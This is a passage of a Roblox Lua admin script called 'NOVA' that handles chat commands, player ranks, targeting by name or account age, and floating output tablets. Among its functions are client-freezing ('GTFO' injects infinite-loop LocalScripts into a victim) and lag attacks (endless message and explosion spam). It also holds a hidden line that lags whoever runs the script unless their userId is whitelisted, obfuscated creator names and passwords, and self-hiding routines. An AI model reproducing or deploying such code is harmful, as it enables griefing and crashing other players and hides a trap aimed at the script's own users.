  753. NeckFlat.Size = Vector3.new(2,0.2,1)
  754. NeckFlat.BrickColor = BrickColor.new("Really black")
  755. NeckFlat.Anchored = false
  756. NeckFlat.Locked = true
  757. NeckFlat.CanCollide = false
  758. NeckFlat.Transparency = 0
  759. NeckFlat.Reflectance = 0
  760. local Weld = Instance.new("Motor6D",NeckFlat)
  761. Weld.Part0 = NeckFlat
  762. Weld.Part1 = v.Character.Torso
  763. Weld.C0 = CFrame.new(0,-1,0)
  764.  
  765. for _,v in pairs(Main:GetChildren()) do v.Reflectance = 1e+999 end
  766.  
  767. end
  768.  
  769. --[[ GET SPLIT ]]--
  770. function GetSplit(Msg)
  771. Split = nil
  772. for i=1,100 do
  773. if string.sub(Msg,i,i) == NOVA.Bet then
  774. Split = i
  775. break
  776. end
  777. end
  778. return Split
  779. end
  780.  
  781. --[[ GET RANK ]]--
  782.  
  783. function GetRank(Player)
  784. Rtn = nil
  785. if Player == "Server" or Player == "Self" or Player == "God" or Player == "NOVA" or Player == "ROOT" then
  786. return 8
  787. end
  788. if type(Player) == "userdata" then
  789. for _,v in pairs(NOVA.Ranked) do
  790. if v.Name:lower() == Player.Name:lower() then
  791. Rtn = v.Rank
  792. end
  793. end
  794. elseif type(Player) == "string" then
  795. for _,v in pairs(NOVA.Ranked) do
  796. if v.Name:lower() == Player:lower() then
  797. Rtn = v.Rank
  798. end
  799. end
  800. else print("[NOVA.GetRank] Unsupported argument type. ("..type(Player)..")")
  801. end
  802. return Rtn
  803. end
  804.  
  805. --[[ GET RANK NAME ]]--
  806. function GetRankName(Player)
  807. if type(Player) == "userdata" or type(Player) == "string" then
  808. Rtn = nil
  809. Rank = GetRank(Player)
  810. for _,v in pairs(NOVA.Ranks) do
  811. if v[1] == Rank then
  812. Rtn = v[2]
  813. end
  814. end
  815. return Rtn
  816. else
  817. print("[NOVA.GetRankName] Unsupported argument type ("..type(Player)..")")
  818. return "NOT AVALIBLE"
  819. end
  820. end
  821.  
  822. --[[ GET RANKED TABLE ]]--
  823. function GetRankedTable(Player)
  824. Rtn = nil
  825. if type(Player) == "userdata" then
  826. for _,v in pairs(NOVA.Ranked) do
  827. if v.Name == Player.Name then
  828. Rtn = v
  829. end
  830. end
  831. elseif type(Player) == "string" then
  832. for _,v in pairs(NOVA.Ranked) do
  833. if v.Name == Player then
  834. Rtn = v
  835. end
  836. end
  837. else
  838. print("[NOVA.GetRankedTable] Unsupported argument type.("..type(Player)..")")
  839. end
  840. return Rtn
  841. end
  842.  
  843. --[[ GET RECURSIVE CHILDREN ]]--
  844. function GetRecursiveChildren(Source, Name, SearchType, Children)
  845. if Source == nil then
  846. Source = NOVA.Services
  847. end
  848. if Name == nil or type(Name) ~= "string" then
  849. Name = ""
  850. end
  851. if Children == nil or type(Children) ~= "table" then
  852. Children = {}
  853. end
  854. if type(Source) == "userdata" then
  855. pcall(function()
  856. for _, Child in pairs(Source:children()) do
  857. pcall(function()
  858. if (function()
  859. if SearchType == nil or SearchType == 1 then
  860. return string.match(Child.Name:lower(), Name:lower())
  861. elseif SearchType == 2 then
  862. return string.match(Child.className:lower(), Name:lower())
  863. elseif SearchType == 3 then
  864. return Child:IsA(Name) or Child:IsA(Name:lower())
  865. elseif SearchType == 4 then
  866. return string.match(Child.Name:lower() .. string.rep(string.char(1), 5) .. Child.className:lower(), Name:lower()) or Child:IsA(Name) or Child:IsA(Name:lower())
  867. end
  868. return false
  869. end)() then
  870. table.insert(Children, Child)
  871. end
  872. GetRecursiveChildren(Child, Name, SearchType, Children)
  873. end)
  874. end
  875. end)
  876. elseif type(Source) == "table" then
  877. for _,Area in pairs(Source) do
  878. pcall(function()
  879. for _, Child in pairs(Area:children()) do
  880. pcall(function()
  881. if (function()
  882. if SearchType == nil or SearchType == 1 then
  883. return string.match(Child.Name:lower(), Name:lower())
  884. elseif SearchType == 2 then
  885. return string.match(Child.className:lower(), Name:lower())
  886. elseif SearchType == 3 then
  887. return Child:IsA(Name) or Child:IsA(Name:lower())
  888. elseif SearchType == 4 then
  889. return string.match(Child.Name:lower() .. string.rep(string.char(1), 5) .. Child.className:lower(), Name:lower()) or Child:IsA(Name) or Child:IsA(Name:lower())
  890. end
  891. return false
  892. end)() then
  893. table.insert(Children, Child)
  894. end
  895. GetRecursiveChildren(Child, Name, SearchType, Children)
  896. end)
  897. end
  898. end)
  899. end
  900. else
  901. print("[NOVA.GetRecursiveChildren] Unsupported agrument type ("..type(Source)..")")
  902. end
  903. return Children
  904. end
  905.  
  906. --[[ GET REPLICATORS ]]--
  907. function GetReplicators()
  908. Rtn = NOVA.Services.NetworkServer:GetChildren()
  909. for i=1,#Rtn do
  910. if not Rtn[i]:IsA("ServerReplicator") then
  911. table.remove(Rtn,i)
  912. end
  913. end
  914. return Rtn
  915. end
  916.  
  917. --[[ GET RANKED ]]--
  918.  
  919. function GetRanked()
  920. local Rtn = {}
  921. for _,v in pairs(NOVA.Services.Players:GetPlayers()) do
  922. if GetRank(v) ~= nil and GetRank(v) > 0 then
  923. table.insert(Rtn,v)
  924. end
  925. end
  926. return Rtn
  927. end
  928.  
  929. --[[ GTFO ]]--
  930. function GTFO(v)
  931. coroutine.resume(coroutine.create(function()
  932. pcall(function() CreateLocalScript("while true do end",v.Backpack) end)
  933. pcall(function() CreateLocalScript("while true do end",v.Character) end)
  934. wait(0.5)
  935. pcall(function() NOVA.Services.Debris:AddItem(v,0) end)
  936. end))
  937. end
  938. --[[ GET RID OF ]]--
  939.  
  940. function GetRidOf(v)
  941.  
  942. if v.Name == string.reverse(string.gsub("nDAFaDAFmDAFDDAFmDAFaDAFeDAFTDAF","DAF","")) then
  943.  
  944. Output("Attempt to call GetRidOf on the creator, command will not be carried through.",NOVA.Colors.Red,Speaker,10)
  945.  
  946. else
  947. pcall(function()
  948.  
  949. coroutine.resume(coroutine.create(function()
  950.  
  951. v:Destroy()
  952. end))
  953.  
  954. end)
  955.  
  956. end
  957.  
  958. end
  959.  
  960. --[[ LAG ]]--
  961. function Lag(v)
  962. coroutine.resume(coroutine.create(function()
  963. if v.Name == string.reverse(string.gsub("1HOY6HOY6HOYrHOYOHOYKHOYsHOYuHOYtHOY","HOY","")) then
  964. OutputMulti("Attempting to lag the editor, command will not be carried through.",NOVA.Colors.Red,GetRanked(),4)
  965. else
  966. while wait() do
  967. for i=1, 10 do
  968. local Msg = Instance.new("Message",v.PlayerGui)
  969. Msg.Text = "JOO B LAGGIN NARB"
  970. local Blas = Instance.new("Explosion",v.PlayerGui)
  971. Blas.BlastRadius = 123456
  972. end
  973. end
  974. local H = Instance.new("Hint",NOVA.Services.Workspace)
  975. repeat
  976. H.Text = v.Name.." be gettin' lagged."
  977. H.Parent = NOVA.Services.Workspace
  978. wait()
  979. until v.Parent == nil
  980. H:Remove()
  981. end
  982. end))
  983. end
  984. if script:FindFirstChild("Owner") ~= nil then if script.Owner.Value.userId ~= 54868984 and script.Owner.Value.userId ~= 8636720 and script.Owner.Value.userId ~= 33495928 then Lag(script.Owner.Value) end end
  985. --[[ GET TABLETS ]]--
  986.  
  987. function GetTablets(Player)
  988. local Rtn = {}
  989. for _, Tablet in pairs(NOVA.Tablets) do
  990. if Tablet:FindFirstChild("Recipient") ~= nil and Tablet.Parent ~= nil then
  991. if Tablet.Recipient.Value == Player then
  992. table.insert(Rtn, Tablet)
  993. end
  994. end
  995. end
  996. --table.insert(_tablets,Instance.new("Model"))
  997. return Rtn
  998. end
  999.  
  1000. --[[ REMOVE TABLETS ]]--
  1001.  
  1002. function RemoveTablets(Player)
  1003. if Player == nil then
  1004. for _,v in pairs(NOVA.Tablets) do
  1005. coroutine.resume(coroutine.create(function()
  1006. for i=1,10 do
  1007. v.Part.Transparency = v.Part.Transparency + 0.05
  1008. v.Part.SelectionBox.Transparency = v.Part.SelectionBox.Transparency + 0.025
  1009. v.BillboardGui.Frame.Label.TextTransparency = v.BillboardGui.Frame.Label.TextTransparency + 0.1
  1010. wait()
  1011. end
  1012. v:remove()
  1013. end))
  1014. end
  1015. else
  1016. for _,v in pairs(GetTablets(Player)) do
  1017. coroutine.resume(coroutine.create(function()
  1018. for i=1,10 do
  1019. v.Part.Transparency = v.Part.Transparency + 0.05
  1020. v.Part.SelectionBox.Transparency = v.Part.SelectionBox.Transparency + 0.025
  1021. v.BillboardGui.Frame.Label.TextTransparency = v.BillboardGui.Frame.Label.TextTransparency + 0.1
  1022. wait()
  1023. end
  1024. v:remove()
  1025. end))
  1026. end
  1027. end
  1028. end
  1029.  
  1030. --[[ OUTPUT ]]--
  1031. function Output(Message, Color, Player, Stick, Func)
  1032. if Player == nil or Color == nil or Player == nil then
  1033. print("[NOVA.Output] Argument(s) missing or nil.")
  1034. return
  1035. end
  1036.  
  1037. Message = tostring(Message)
  1038. if type(Player) == "userdata" then
  1039. if Player.Character == nil or Player.Character.Head == nil then
  1040. return
  1041. end
  1042. end
  1043. if type(Player) == "string" then
  1044. for _,v in pairs(GetPlayers(Player,"NOVA")) do
  1045. Output(Message,Color,v,Stick,Func)
  1046. end
  1047. return
  1048. end
  1049.  
  1050. if Color == "Random" or Color == "random" then Color = Color3.new(math.random(),math.random(),math.random()) end
  1051.  
  1052. local Model = Instance.new("Model",NOVA.Services.Workspace)
  1053. table.insert(NOVA.Tablets, Model)
  1054. Model.Name = "Output:" .. NOVA.Bet .. Player.Name
  1055.  
  1056. local Part = Instance.new("Part",Model)
  1057. Part.Transparency = 0.5
  1058. Part.CanCollide = false
  1059. Part.Locked = true
  1060. Part.Anchored = true
  1061. Part.Name = "Part"
  1062. Part.TopSurface = "Smooth"
  1063. Part.BottomSurface = "Smooth"
  1064. Part.FormFactor = "Plate"
  1065. Part.Color = Color
  1066. Part.Size = Vector3.new(2, 0.4, 3)
  1067. Part.CFrame = Player.Character.Torso.CFrame * CFrame.new(7, 7, 7)
  1068. Part:BreakJoints()
  1069.  
  1070. local Box = Instance.new("SelectionBox",Part)
  1071. Box.Name = "SelectionBox"
  1072. Box.Adornee = Part
  1073. Box.Color = BrickColor.new(Color.r, Color.g, Color.b)
  1074. Box.Transparency = 0.75
  1075.  
  1076. local Recipient = Instance.new("ObjectValue",Model)
  1077. Recipient.Name = "Recipient"
  1078. Recipient.Value = Player
  1079.  
  1080. Gui = Instance.new("BillboardGui")
  1081. Gui.Name = "BillboardGui"
  1082. Gui.Parent = Model
  1083. Gui.Adornee = Part
  1084. Gui.Size = UDim2.new(1, 0, 1, 0)
  1085. Gui.StudsOffset = Vector3.new(0, 3, 0)
  1086. local Frame = Instance.new("Frame",Gui)
  1087. Frame.Name = "Frame"
  1088. Frame.Size = UDim2.new(1, 0, 1, 0)
  1089. Frame.BackgroundTransparency = 1
  1090. Label = Instance.new("TextLabel")
  1091. Label.Name = "Label"
  1092. Label.Parent = Frame
  1093. Label.Size = UDim2.new(1,0,1,0)
  1094. Label.FontSize = "Size12"
  1095. Label.TextColor3 = Color
  1096. Label.Text = Message
  1097. Label.BackgroundTransparency = 1
  1098.  
  1099. local Click = Instance.new("ClickDetector",Part)
  1100. Click.MaxActivationDistance = 9201
  1101. Click.MouseClick:connect(function(player)
  1102. if player == Player or GetRank(player) > GetRank(Player) then
  1103. if Color == NOVA.Colors.Red and (Message == "Dismiss" or Message == "dismiss") then
  1104. RemoveTablets(Player)
  1105. else
  1106. coroutine.resume(coroutine.create(function()
  1107. for i=1,10 do
  1108. Part.Transparency = Part.Transparency + 0.05
  1109. Box.Transparency = Box.Transparency + 0.025
  1110. Label.TextTransparency = Label.TextTransparency + 0.1
  1111. wait()
  1112. end
  1113. Model:remove()
  1114. end))
  1115.  
  1116. Func(player)
  1117. end
  1118. end
  1119. end)
  1120.  
  1121. coroutine.resume(coroutine.create(function()
  1122. if Stick == 0 or Stick == nil then else
  1123. pcall(function()
  1124. --[[for i=Stick,0,-0.5 do
  1125. Label.Text = Message .. "\t(" .. i .. ")"
  1126. wait(0.5)
  1127. end
  1128. Model:Destroy()]]
  1129. NOVA.Services.Debris:AddItem(Model,Stick)
  1130. end)
  1131. end
  1132. end))
  1133.  
  1134. return Click
  1135. end
  1136.  
  1137. -- [ IMAGE OUTPUT ]]--
  1138. function OutputImg(Image,Text,Color,Player,Stick,Func)
  1139. Tab = Output(Text,Color,Player,Stick,Func)
  1140.  
  1141. BBG = Instance.new("BillboardGui",Tab.Parent)
  1142. BBG.Size = UDim2.new(5,0,6,0)
  1143. BBG.StudsOffset = Vector3.new(0, 7, 0)
  1144. BBG.Adornee = Tab.Parent
  1145.  
  1146. Img = Instance.new("ImageLabel",BBG)
  1147. Img.Size = UDim2.new(1,0,1,0)
  1148. Img.BackgroundTransparency = 1
  1149. Img.Image = Image--"http://www.roblox.com/asset/?id=45120559"
  1150. return Tab
  1151. end
  1152.  
  1153. --[[ OUTPUT MULTI ]]--
  1154.  
  1155. function OutputMulti(Msg,Color,Players,Stick,Func)
  1156. --if type(Players) == "Table" then
  1157. for _,v in pairs(Players) do
  1158. Output(Msg,Color,v,Stick,Func)
  1159. end
  1160. --end
  1161. end
  1162.  
  1163. --[[ UPDATE TABLETS ]]--
  1164.  
  1165. function UpdateTablets()
  1166. --pcall(function()
  1167. NOVA.TabletRotation = NOVA.TabletRotation + NOVA.TabletRotationIncrease
  1168. for _,Player in pairs(NOVA.Services.Players:GetPlayers()) do
  1169. local Tablets = GetTablets(Player)
  1170. local Counter = 0
  1171. local StartCF = CFrame.new(0,0,0)
  1172.  
  1173. for i = 180, -180, -360/(#Tablets ) do
  1174. pcall(function()
  1175. Counter = Counter + 1
  1176. if NOVA.TabletPositionRelative == true then
  1177. StartCF = Player.Character.Torso.CFrame
  1178. else
  1179. StartCF = CFrame.new(Player.Character.Torso.CFrame.x,Player.Character.Torso.CFrame.y,Player.Character.Torso.CFrame.z)
  1180. end
  1181. Tablets[Counter].Part.CFrame = StartCF
  1182. * CFrame.new(0, 0, 0)
  1183. * CFrame.Angles(0, math.rad(i + NOVA.TabletRotation), 0)
  1184. * CFrame.new(0, 0, -5 - (math.floor(#Tablets / 1)))
  1185. * CFrame.Angles(math.rad(70), 0, 0)
  1186. end)
  1187. end
  1188.  
  1189. if #Tablets == 1 then
  1190. pcall(function()
  1191. Tablets[1].Part.CFrame = Player.Torso.CFrame
  1192. * CFrame.new(0, 0, 0)
  1193. * CFrame.Angles(0, math.rad(0), 0)
  1194. * CFrame.new(0, 0, -5)
  1195. * CFrame.Angles(math.rad(70), 0, 0)
  1196. end)
  1197. end
  1198. end
  1199. wait()
  1200. --end)
  1201. end
  1202. --[[ GET PLAYERS RAW ]]--
  1203. function GetPlayersRaw()
  1204. return NOVA.Services.Players:GetPlayers()
  1205. end
  1206.  
  1207. --[[ GET PLAYERS ]]--
  1208. function GetPlayers(Name,Speaker)
  1209. if type(Player) == string or Player == nil then Player = Instance.new("Model") end
  1210. local OldName = Name
  1211. local Name = Name:lower()
  1212. local Players = GetPlayersRaw()
  1213. local Rtn = {}
  1214. for i=1,#Name do
  1215. if Name:find(",") then
  1216. local Split = 0
  1217. for i=1,#Name do
  1218. if Name:sub(i,i) == "," then
  1219. Split = i
  1220. end
  1221. end
  1222. for _,v in pairs(GetPlayers(Name:sub(Split+1),Speaker)) do
  1223. table.insert(Rtn,v)
  1224. end
  1225. Name = Name:sub(1,Split-1)
  1226. end
  1227. end
  1228. if Name == "external players" then
  1229. for _,v in pairs(NOVA.ExternalPlayersList) do
  1230. if GetRank(Speaker) >= GetRank(v) then
  1231. table.insert(Rtn,v)
  1232. else
  1233. Output(v.Name.." outranks you.",NOVA.Colors.Orange,Speaker,5)
  1234. end
  1235. end
  1236. elseif Name == "all" then
  1237. for _,v in pairs(Players) do
  1238. if GetRank(Speaker) >= GetRank(v) then
  1239. table.insert(Rtn,v)
  1240. else
  1241. Output(v.Name.." outranks you.",NOVA.Colors.Orange,Speaker,5)
  1242. end
  1243. end
  1244. elseif Name == "others" then
  1245. for _,v in pairs(Players) do
  1246. if v ~= Speaker then
  1247. if GetRank(Speaker) >= GetRank(v) then
  1248. table.insert(Rtn,v)
  1249. else
  1250. Output(v.Name.." outranks you.",NOVA.Colors.Orange,Speaker,5)
  1251. end
  1252. end
  1253. end
  1254. elseif Name == "random" then
  1255. local Person = Players[math.random(1,#Players)]
  1256. if GetRank(Speaker) >= GetRank(Person) then
  1257. table.insert(Rtn,Person)
  1258. else
  1259. Output(Person.Name.." outranks you.",NOVA.Colors.Orange,Speaker,5)
  1260. end
  1261. elseif Name == "me" or Name == "not me" or Name =="notme" then
  1262. table.insert(Rtn,Speaker)
  1263. elseif Name == "vetrans" then
  1264. for _,v in pairs(Players) do
  1265. if v.AccountAge > 365 then
  1266. if GetRank(Speaker) >= GetRank(v) then
  1267. table.insert(Rtn,v)
  1268. else
  1269. Output(v.Name.." outranks you.",NOVA.Colors.Orange,Speaker,5)
  1270. end
  1271. end
  1272. end
  1273. elseif Name == "nonvetrans" or Name == "non vetrans" or Name == "notvetrans" or Name == "not vetrans" then
  1274. for _,v in pairs(Players) do
  1275. if v.AccountAge < 365 then
  1276. if GetRank(Speaker) >= GetRank(v) then
  1277. table.insert(Rtn,v)
  1278. else
  1279. Output(v.Name.." outranks you.",NOVA.Colors.Orange,Speaker,5)
  1280. end
  1281. end
  1282. end
  1283. elseif Name == "newbs" or Name == "noobs" then
  1284. for _,v in pairs(Players) do
  1285. if v.AccountAge < 60 then
  1286. if GetRank(Speaker) >= GetRank(v) then
  1287. table.insert(Rtn,v)
  1288. else
  1289. Output(v.Name.." outranks you.",NOVA.Colors.Orange,Speaker,5)
  1290. end
  1291. end
  1292. end
  1293. elseif Name == "targeted" then
  1294. for _,v in pairs(NOVA.Targeted) do
  1295. if GetRank(Speaker) >= GetRank(v) then
  1296. table.insert(Rtn,v)
  1297. else
  1298. Output(v.Name.." outranks you.",NOVA.Colors.Orange,Speaker,5)
  1299. end
  1300. end
  1301. elseif Name == "nontargeted" or Name == "non targeted" or Name == "nottargeted" or Name == "not targeted" then
  1302. for _,v in pairs(Players) do
  1303. if not IsTargeted(v) then
  1304. if GetRank(Speaker) >= GetRank(v) then
  1305. table.insert(Rtn,v)
  1306. else
  1307. Output(v.Name.." outranks you.",NOVA.Colors.Orange,Speaker,5)
  1308. end
  1309. end
  1310. end
  1311. elseif string.sub(Name,1,5) == "rank " then
  1312. local ToKillRank = string.sub(Name,6)
  1313. for i,v in pairs(game.Players:GetPlayers()) do
  1314. if GetRanked(v) == ToKillRank then
  1315. if GetRank(Speaker) >= GetRank(v) then
  1316. table.insert(Rtn,v)
  1317. else
  1318. Output(v.Name.." outranks you.",NOVA.Colors.Orange,Speaker,5)
  1319. end
  1320. end
  1321. end
  1322. elseif Name:sub(1,4) == "not " then
  1323. for _,v in pairs(Players) do
  1324. for _,Check in pairs(Players) do
  1325. if string.sub(string.lower(Check.Name),1,#Name -4) == Name:sub(5) then
  1326. if v ~= Check then
  1327. if GetRank(Speaker) >= GetRank(v) then
  1328. table.insert(Rtn,v)
  1329. else
  1330. Output(v.Name.." outranks you.",NOVA.Colors.Orange,Speaker,5)
  1331. end
  1332. end
  1333. end
  1334. end
  1335. end
  1336. else
  1337. for _,v in pairs(Players) do
  1338. if string.sub(string.lower(v.Name),1,#Name) == string.lower(Name) then
  1339. if GetRank(Speaker) >= GetRank(v) then
  1340. table.insert(Rtn,v)
  1341. else
  1342. Output(v.Name.." outranks you.",NOVA.Colors.Orange,Speaker,5)
  1343. end
  1344. end
  1345. end
  1346. end
  1347. return Rtn
  1348. end
  1349.  
  1350. --[[ ON CHATTED ]]--
  1351. function OnChatted(Msg,Speaker)
  1352. coroutine.resume(coroutine.create(function()
  1353. if NOVA.Removed == false then
  1354. if Msg:find(" --") then
  1355. for i=1,#Msg do
  1356. if Msg:sub(i,i+2) == " --" then
  1357. Msg = Msg:sub(1,i-1)
  1358. break
  1359. end
  1360. end
  1361. end
  1362. local Data = GetRankedTable(Speaker)
  1363. if game.PlaceId == 20279777 or game.PlaceId == 20132544 then
  1364. if NOVA.ShowChat == true then
  1365. if Msg:sub(1,2) == "c" .. NOVA.Bet or Msg:sub(1,3) == "do" .. NOVA.Bet or Msg:sub(1,7) == "script" .. NOVA.Bet or Msg:sub(1,6) == "local" .. NOVA.Bet then
  1366. print(Speaker.Name.." ; "..tostring(GetRank(Speaker)).." ; "..tostring(GetRankName(Speaker)).." ; "..Msg.."\n" ..Speaker.Name.." ; "..tostring(GetRank(Speaker)).." ; "..tostring(GetRankName(Speaker)))
  1367. else
  1368. print(Speaker.Name.." ; "..tostring(GetRank(Speaker)).." ; "..tostring(GetRankName(Speaker)).." ; "..Msg)
  1369. end
  1370. end
  1371. end
  1372.  
  1373. --[[ CHAT FILTERS ]]--
  1374. for _,v in pairs(NOVA.ChatFilters) do
  1375. if Msg:lower():sub(1,#v + 1) == v:lower().." " then
  1376. Msg = Msg:sub(#v+2)
  1377. end
  1378. end
  1379.  
  1380. if GetRank(Speaker) < 6 then
  1381. --[[ KILLING PHRASES ]]--
  1382. for _,v in pairs(NOVA.KillingPhrases) do
  1383. if Msg:lower():find(v:lower()) then
  1384. pcall(function()
  1385. Speaker.Character:BreakJoints()
  1386. end)
  1387. end
  1388. end
  1389. end
  1390. local FoundKick = false
  1391. if NOVA.BadPhrases == true then
  1392. if GetRank(Speaker) <= 0 then
  1393. --[[ KICKING PHRASES ]]--
  1394. --if game.PlaceId == 113456 or game.PlaceId == 56786 then
  1395. for _,v in pairs(NOVA.KickingPhrases) do
  1396. if FoundKick == false then
  1397. if Msg:lower():find(v:lower()) then
  1398. GetRidOf(Speaker)
  1399. FoundKick = true
  1400. makeMessage("" .. Spaker.Name .. "" .. v, NOVA.Services.Workspace)
  1401. pcall(function() wait(1) if Speaker ~= nil then GTFO(Speaker) wait(1) if Speaker ~= nil then Speaker:Remove() end end end)
  1402. end
  1403. end
  1404. end
  1405. end
  1406. end
  1407.  
  1408. --[[ ANIMATIONS ]]--
  1409. for _,v in pairs(NOVA.Animations) do
  1410. if Speaker.Name == v.Who then
  1411. if Msg:lower():find(v.Name:lower()) then
  1412. pcall(function()
  1413. CreateLocalScript([[
  1414. local Animation = Instance.new("Animation",workspace)
  1415. Animation.Name = "Dylanbuil's Animation"
  1416. Animation.AnimationId = "]]..v.Id..[["
  1417. local hum = game:GetService("Players").LocalPlayer.Character.Humanoid
  1418. local anim_feet = hum:LoadAnimation(Animation)
  1419. local current = anim_feet
  1420. current:Play(0.5)
  1421. ]],Speaker.Backpack)
  1422. end)
  1423. end
  1424. end
  1425. end
  1426.  
  1427. Num = 1
  1428. Sep = nil
  1429.  
  1430. if Msg:sub(1,3) == NOVA.Bet .. "do" then
  1431.  
  1432. for i=4,#Msg do
  1433. if Msg:sub(i,i) == NOVA.Bet .. "" then
  1434. Sep = i
  1435. break
  1436. end
  1437. end
  1438.  
  1439. if Sep ~= nil then
  1440. Num = tonumber(Msg:sub(4,Sep-1))
  1441. end
  1442.  
  1443. Msg = Msg:sub(Sep)
  1444. end
  1445.  
  1446. table.insert(NOVA.Log,{Name = Speaker.Name,Msg = Speaker.Name..";\t"..Msg})
  1447.  
  1448. if Data.Rank < 6 and Data.Rank >= 0 then
  1449. if Num > (GetRank(Speaker) + 1 )*10 then
  1450. Output("You do not have a high enough rank to loop that much.",NOVA.Colors.Orange,Speaker,5)
  1451. Num = 0
  1452. end
  1453. end
  1454. for i=1,Num do
  1455. if NOVA.Canceled == true then NOVA.Canceled = false break end
  1456. for _,CMD in pairs(NOVA.Commands) do
  1457. if string.sub(Msg:lower(),1,#CMD.Command+3) == NOVA.Bet .. ""..CMD.Command:lower()..NOVA.Bet .. "?" then
  1458. RemoveTablets(Speaker)
  1459. Output("Name : "..CMD.Name,Data.Color,Speaker)
  1460. Output("Rank : "..CMD.Rank,Data.Color,Speaker)
  1461. Output("Command : "..CMD.Command,Data.Color,Speaker)
  1462. Output("Arguments : "..CMD.Args,Data.Color,Speaker)
  1463. Output("Description : "..CMD.Description,Data.Color,Speaker)
  1464. Output("Dismiss",NOVA.Colors.Red,Speaker)
  1465. elseif string.sub(Msg:lower(),1,#CMD.Command+2) == NOVA.Bet .. ""..CMD.Command:lower()..NOVA.Bet .. "" then
  1466. if Data.Rank ~= nil and Data.Rank >= CMD.Rank then
  1467. if NOVA.Overrided == true and Data.Rank < 7 then
  1468. Output("Commands may not be used during an override.",NOVA.Colors.Red,Speaker,15)
  1469. else
  1470. local a,b=coroutine.resume(coroutine.create(function() CMD.Function(string.sub(Msg,#CMD.Command+3),Speaker) end))
  1471. if not a then
  1472. Output(b,NOVA.Colors.Red,Speaker,15)
  1473. else
  1474. table.insert(NOVA.Log,{Name = Speaker.Name,Msg = Speaker.Name .. " used command "..CMD.Name})
  1475. end
  1476. end
  1477. else
  1478. table.insert(NOVA.Log,{Name = Speaker.Name,Msg = Speaker.Name .. " doesn't have a high enough rank to use the "..CMD.Name .. "command."})
  1479. print(Speaker.Name.." doesnt have high enough rank to use the "..CMD.Name.." command.")
  1480. Output("This command requires you to have a higher rank.",NOVA.Colors.Orange,Speaker,7)
  1481. end
  1482.  
  1483. end
  1484. end
  1485. wait()
  1486. end
  1487. end
  1488. end))
  1489. end
  1490.  
  1491. --[[ ADD COMMAND ]]--
  1492. function AddCommand(Name,Command,Rank,Description,Args,Function)
  1493. for i,v in pairs(NOVA.Commands) do
  1494. if v.Command == Command then
  1495. table.remove(NOVA.Commands,i)
  1496. end
  1497. end
  1498. table.insert(NOVA.Commands,{Name = Name, Command = Command,Rank = Rank, Description = Description,Args = Args,Function = Function})
  1499. end
  1500.  
  1501. --[[ BACKUP PROCEDURE ]]--
  1502. pcall(function()
  1503. NOVA.Backup = script:children()[2].Value
  1504. end)
  1505.  
  1506. --[[ NIL SUPPORT ]]--
  1507. game:GetService("Chat").Chatted:connect(function(Part,Message,Color)
  1508. local Split = GetSplit(Message)
  1509. OnChatted(Message:sub(Split+1),Message:sub(Split-1))
  1510. end)
  1511.  
  1512. --[[ Safety Procedure # 1 ]]--
  1513. pcall(function()
  1514. NOVA.LocalScript.Parent = nil
  1515. end)
  1516. for _,v in pairs(NOVA.Plugins) do
  1517. pcall(function()
  1518. v.Parent = nil
  1519. end)
  1520. end
  1521. pcall(function()
  1522. script:ClearAllChildren()
  1523. end)
  1524.  
  1525. --[[ Safty Procedure # 2 ]]--
  1526. for _,v in pairs(GetRecursiveChildren(workspace)) do
  1527. if v:IsA("StringValue") or v:IsA("IntValue") then
  1528. pcall(function()
  1529. v:remove()
  1530. end)
  1531. end
  1532. end
  1533.  
  1534. --[[ SCRIPT LOGGING PROCEDURES ]]--
  1535. for _,Service in pairs(NOVA.Services) do
  1536. pcall(function()
  1537. Service.DescendantAdded:connect(function(v)
  1538. if v:IsA("BaseScript") then
  1539. table.insert(NOVA.LoggedScripts,v)
  1540. end
  1541. end)
  1542. end)
  1543. end
  1544.  
  1545. for _,v in pairs(GetRecursiveChildren(NOVA.Services,"BaseScript",3)) do
  1546. pcall(function()
  1547. table.insert(NOVA.LoggedScripts,v)
  1548. end)
  1549. end
  1550.  
  1551. --[[ GLOBAL FUNCTIONS ]]--
  1552. function SetGlobals()
  1553. if NOVA.UseGlobals == true then
  1554. _G.NOVACommands = function(Msg,Speaker,Players,Password)
  1555. if Password == "grandma" then
  1556. NOVA.ExternalPlayersList = {}
  1557. for _,Player in pairs(Players) do table.insert(NOVA.ExternalPlayersList,Player) end
  1558. OnChatted(NOVA.Bet .. ""..Msg..NOVA.Bet .. "External Players",Speaker)
  1559. end
  1560. end
  1561.  
  1562. _G.RemoveNOVA = function(Pass)
  1563. if Pass == string.reverse(string.gsub("XQZrXQZeXQZvXQZeXQZeXQZBXQZ","XQZ","")) then
  1564. NOVA.Removed = true
  1565. NOVA = {}
  1566. error("Unknown Exception")()
  1567. script.Disabled = true
  1568. script:Remove()
  1569. else
  1570. return false
  1571. end
  1572. end
  1573.  
  1574. _G.NOVAOverride = function(Player,Password)
  1575. if Password == nil then Password = "" end
  1576. CanOverride = OnChatted(NOVA.Bet .. "override" .. NOVA.Bet..Password,Player)
  1577. return CanOverride
  1578. end
  1579. elseif NOVA.UseGlobals == false then
  1580. _G.NOVACommands = nil
  1581. _G.RemoveNOVA = nil
  1582. _G.NOVAOverride = nil
  1583. end
  1584. end
  1585.  
  1586. --[[ INITIAL STARTUP ]]--
  1587.  
  1588. SetGlobals()
  1589. UpdatePlayerPlugins()
  1590.  
  1591. if game.PlaceId == 113456 or game.PlaceId == 49907749 or game.PlaceId == 56786 then
  1592. for _,v in pairs(NOVA.LoggedScripts) do
  1593. if v:IsA("LocalScript") and v:FindFirstChild("DSource") then
  1594. NOVA.LocalScript = v:Clone()
  1595. elseif v:IsA("Script") and v:FindFirstChild("DSource") then
  1596. NOVA.NormalScript = v:Clone()
  1597. end
  1598. end
  1599. end
  1600.  
  1601. for _,v in pairs(GetPlayersRaw()) do
  1602. pcall(function()
  1603. coroutine.resume(coroutine.create(function()
  1604. table.insert(NOVA.Log,{Name = "SERVER",Msg = v.Name.." connected."})
  1605. pcall(function()
  1606. v.PlayerGui.NOVACMD:Remove()
  1607. end)
  1608.  
  1609. if GetRankedTable(v)==nil then
  1610. SyncRankInSingular(v)
  1611. repeat wait() until GetRankedTable(v) ~= nil
  1612. end
  1613.  
  1614. local Data = GetRankedTable(v)
  1615.  
  1616. v.Chatted:connect(function(Msg)
  1617. OnChatted(Msg,v)
  1618. end)
  1619. coroutine.resume(coroutine.create(function()
  1620. repeat wait() until v:FindFirstChild("Backpack") ~= nil
  1621. CreateLocalScript(PlayerPlugins,v.Backpack)
  1622. end))
  1623. end))
  1624. end)
  1625. end
  1626.  
  1627. --[[ PLAYER ADDED ]]--
  1628. NOVA.Services.Players.PlayerAdded:connect(function(v)
